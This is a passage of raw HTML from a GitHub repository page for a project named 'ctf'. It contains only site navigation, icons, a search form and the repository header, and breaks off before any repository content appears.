4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="124655323" data-scoped-search-url="/acdwas/ctf/search" data-owner-scoped-search-url="/users/acdwas/search" data-unscoped-search-url="/search" data-turbo="false" action="/acdwas/ctf/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="aReC4r6Ay7e2pXxBfX69lB5JYS/KEI5q4XO12UInQ8vOlGPRpqQKRclos//XSZQoXzRq7b7Kn2kB2W7wpqc8pA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> acdwas </span> <span>/</span> ctf <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>5</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>25</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 